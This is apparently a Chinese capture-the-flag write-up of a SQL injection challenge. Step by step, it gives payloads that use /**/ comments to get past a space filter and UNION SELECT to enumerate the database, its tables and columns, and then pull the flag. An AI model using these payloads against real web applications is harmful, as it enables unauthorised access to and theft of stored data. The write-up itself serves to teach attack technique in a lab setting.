猜测是 SQL注入,在用户名这里进行验证
1' or 1=1 #
1
报错了,常识用/**/代替空格进行绕过
1'/**/or/**/1=1/**/#
1
查看回显位置
1'/**/or/**/1=1/**/union/**/select/**/1,2,3#
得到了回显位置是 2
查看数据库名
1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
得到了数据库名是 web2
查看库中表名
0'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
查看表中列名
0'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
查看列中数据
0'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
发现了 flag